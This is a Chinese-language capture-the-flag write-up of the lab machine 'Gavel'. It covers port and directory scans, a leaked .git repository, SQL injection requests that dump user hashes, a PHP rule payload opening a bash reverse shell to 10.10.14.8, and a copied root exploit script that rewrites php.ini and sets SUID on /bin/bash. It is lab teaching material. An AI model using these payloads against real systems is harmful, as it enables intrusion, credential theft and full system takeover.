基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 14:18 JST
Nmap scan report for 10.10.11.97
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.46 seconds

80

需要加hosts

1
10.10.11.97 gavel.htb

拍卖相关的:

随意注册登录,就是正常的参与拍卖功能:

目录扫描

常规目录扫描发现git泄漏,以及admin:

1
2
3
4
5
6
7
8
9
10
11
12
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://gavel.htb/

/.git/config (Status: 200) [Size: 136]
/.git/HEAD (Status: 200) [Size: 23]
/.git (Status: 301) [Size: 305] [--> http://gavel.htb/.git/]
/.git/index (Status: 200) [Size: 224718]
/admin.php (Status: 302) [Size: 0] [--> index.php]
/.git/logs/ (Status: 200) [Size: 1128]
/assets (Status: 301) [Size: 307] [--> http://gavel.htb/assets/]
/index.php (Status: 200) [Size: 14027]
/includes (Status: 301) [Size: 309] [--> http://gavel.htb/includes/]
/rules (Status: 301) [Size: 306] [--> http://gavel.htb/rules/]

git

常规dump:

1
git-dumper http://gavel.htb/ Gavel_git

Code Review

接下来就是代码审计部分:

inventory.php

可以看到虽然使用了pdo,但col是从输入的sortItem简单替换字符后拼接到最终的sql语句中,所以如果精心构造,还是可以进行sql注入的,类似这个:

bid

bid相关代码里可以看到使用rule添加runkit function,如果我们可以控制rule,那就能够添加恶意函数从而RCE:

Web

sql injection

首先利用sql注入,获取到auctioneer hash,破解出密码

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /inventory.php?user_id=x`+FROM+(SELECT+schema_name+AS+`'x`+from+information_schema.schemata)y;--+-&sort=\?;--+-%00

GET /inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y;--+-&sort=\?;--+-%00

GET /inventory.php?user_id=x`+FROM+(SELECT+column_name+AS+`'x`+from+information_schema.columns)y;--+-&sort=\?;--+-%00

GET /inventory.php?user_id=x`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+`'x`+from+users)y;--+-&sort=\?;--+-%00

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

midnight1

Admin Panel

得到的账号密码登录auctioneer,多了个admin panel,可以编辑rule和message:

而前面代码中也已经知道可以通过rule来达成RCE,所以这里就添加rule,然后去bid触发,打到www-data shell:

1
system('bash -c "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"'); return true;

user flag

切换到auctioneer用户即可:

gavel-util

常规枚举可以发现一个自定义的二进制文件gavel-util,看起来是提交yaml文件,并且/opt/gavel里有sample,测试执行后看起来是提交到后端server的,而这个是root在运行的:

1
root         937  0.0  0.1  19128  5964 ?        Ss   04:48   0:00 /opt/gavel/gaveld

php.int

然后查看对应的php.ini可以看到大量disable_functions:

但我们的yaml里可以使用rule,所以同样的方法可以修改php.ini,然后就可以以root权限通过rule执行任意命令了

提权 & root flag

一步步手动修改php.ini后再执行命令,或者使用自动脚本:

exp.sh

copy from Discord:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/bash
echo "[*] Screw Gavel Root Exploit"
echo "[*] Stand-by..."
WORKDIR="/tmp/pwn_$(date +%s)"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

echo "[*] Step 1: Overwriting php.ini to remove disable_functions and open_basedir..."
cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
return false;
EOF_INI
/usr/local/bin/gavel-util submit ini_overwrite.yaml
echo "[*] Config overwrite submitted. Waiting 5 seconds for stability..."
sleep 5

echo "[*] Step 2: Triggering system() to SUID /bin/bash..."
cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
system("chmod u+s /bin/bash");
return false;
EOF_SUID
/usr/local/bin/gavel-util submit root_suid.yaml

echo "[*] Payload submitted. Checking /bin/bash permissions..."
sleep 2

if ls -la /bin/bash | grep -q "rws"; then
echo "[+] SUCCESS! /bin/bash is now SUID root."
echo "[*] Spawning root shell and reading /root/root.txt ..."
/bin/bash -p -c 'cat /root/root.txt; exec /bin/bash -p'
else
echo "[-] Exploit failed. /bin/bash is not SUID."
echo "[*] Trying alternative payload (copy bash)..."

cat << 'EOF_COPY' > root_copy.yaml
name: RootCopy
description: Getting Root Alt
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned Alt"
rule: |
copy('/bin/bash', '/tmp/rootbash');
chmod('/tmp/rootbash', 04755);
return false;
EOF_COPY
/usr/local/bin/gavel-util submit root_copy.yaml
sleep 2

if [ -f /tmp/rootbash ]; then
echo "[+] Alternative payload SUCCESS! /tmp/rootbash created."
echo "[*] Spawning root shell and reading /root/root.txt ..."
/tmp/rootbash -p -c 'cat /root/root.txt; exec /tmp/rootbash -p'
else
echo "[-] All attempts failed."
exit 1
fi
fi

shadow

1
2
root:$y$j9T$F4t1iJQb1Y9atV89HlC.k.$rdYP7l6hwov0veW3K1LdYgljvILjVuoCkqlSf7OmAs3:20396:0:99999:7:::
auctioneer:$y$j9T$a4m13RlusE.ItZN9V0MQT1$N1nUleOlY2d1KmlIMvhzatvI5lBieVuAqhmgxcUbsc0:20364:0:99999:7:::

参考资料